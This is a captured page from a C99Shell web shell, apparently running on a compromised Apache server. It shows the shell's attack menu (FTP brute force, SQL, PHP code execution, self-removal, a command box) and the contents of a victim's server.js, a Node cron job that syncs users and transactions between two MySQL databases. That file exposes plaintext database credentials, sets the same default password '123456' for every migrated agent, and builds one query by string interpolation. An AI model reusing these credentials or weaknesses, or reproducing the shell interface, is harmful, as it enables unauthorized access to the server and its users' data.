!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/kiosk/   drwxr-xr-x
Free 13.06 GB of 57.97 GB (22.54%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     server.js (4.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
const mysql = require('mysql2/promise');
const cron = require('node-cron');
const bcrypt = require('bcryptjs');

// MYSQL-A Connection
const mysqlAConfig = {
    host: '127.0.0.1',
    user: 'admin',
    password: 'wahid',
    database: 'queuepro',
    timezone: 'Z' 
};

// MYSQL-B Connection
const mysqlBConfig = {
    host: '127.0.0.1',
    user: 'admin',
    password: 'wahid',
    database: 'kiosk',
    timezone: 'Z' 
};

async function fetchAndTransferUsers() {
    let connA, connB;
    try {
        // Connect to both databases
        connA = await mysql.createConnection(mysqlAConfig);
        connB = await mysql.createConnection(mysqlBConfig);
        const [agent] = await connB.execute('SELECT user_id FROM agents order by user_id limit 1');        
        var user_id= (agent.length==0) ? 0 : agent[0].user_id;
        // Fetch unprocessed users from MYSQL-A
        const [users] = await connA.execute(`SELECT * FROM user_info where user_id> ${user_id}`);

        if (users.length === 0) {
            return;
        }
        const hashedPassword = await bcrypt.hash("123456", 10);
        for (const user of users) {
            const { USER_ID, USER_LOGIN_ID, USER_NAME } = user;
            // Insert into MYSQL-B
            await connB.execute('INSERT INTO agents (user_id, name, user_name,password) VALUES (?, ?, ?, ? )', [USER_ID, USER_NAME,USER_LOGIN_ID,hashedPassword]);
            // Mark user as processed in MYSQL-A
            // await connA.execute('UPDATE user SET processed = 1 WHERE id = ?', [id]);
        }
    } catch (error) {
        console.error('Error:', error);
    } finally {
        // Close connections
        if (connA) await connA.end();
        if (connB) await connB.end();
    }
}
async function fetchAndTransferService() {
    let connA, connB;
    try {
        // Connect to both databases
        connA = await mysql.createConnection(mysqlAConfig);
        connB = await mysql.createConnection(mysqlBConfig);
        const [data] = await connB.execute(' SELECT MAX(SDET) AS max_datetime FROM transaction_details'); 
        const maxDatetime = data[0].max_datetime; // Use directly as a string
        if (maxDatetime) {
            var last_time=new Date(data[0].max_datetime).toISOString().slice(0, 19).replace('T', ' ');
        }else{
            var last_time='2024-12-10 11:46:44';
        }
        // // Fetch unprocessed users from MYSQL-A
        const [services] = await connA.execute("SELECT TRANS_ID, SDC_ID, SDST, SDET, SERVICE_ID, USER_ID FROM transaction_details where SDET> ?", [last_time]);
        console.log(services.length);
        if (services.length === 0) {
            return;
        }
        // Prepare bulk insert query for MYSQL-B
         const placeholders = services.map(() => "(?, ?, ?, ?, ?, ?)").join(", ");
         const values = services.flatMap(({ TRANS_ID, SDC_ID, SDST, SDET, SERVICE_ID, USER_ID }) => 
             [TRANS_ID, SDC_ID, SDST, SDET, SERVICE_ID, USER_ID]
         );
 
         const insertQuery = `
             INSERT INTO transaction_details (TRANS_ID, SDC_ID, SDST, SDET, SERVICE_ID, USER_ID)
             VALUES ${placeholders}
         `;

         // Insert into MYSQL-B
         await connB.query(insertQuery, values);

        // console.log(services.length);
        
        // for (const service of services) {
        //     const { TRANS_ID, SDC_ID, SDST, SDET, SERVICE_ID, USER_ID } = service;
        //     // Insert into MYSQL-B
        //     await connB.execute('INSERT INTO transaction_details (TRANS_ID, SDC_ID, SDST, SDET, SERVICE_ID, USER_ID) VALUES (?, ?, ?, ?, ?, ? )', [TRANS_ID, SDC_ID, SDST, SDET, SERVICE_ID, USER_ID]);
        // }
    } catch (error) {
        console.error('Error:', error);
    } finally {
        // Close connections
        if (connA) await connA.end();
        if (connB) await connB.end();
    }
}
// Run the cron job every 10 seconds
cron.schedule('* */10 * * * *', () => {
    console.log('Running the cron job...');
    fetchAndTransferUsers();
});
cron.schedule('*/5 * * * * *', () => {
    console.log('Running the cron job...');
    fetchAndTransferService();
});
console.log('Service is running...');

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0052 ]--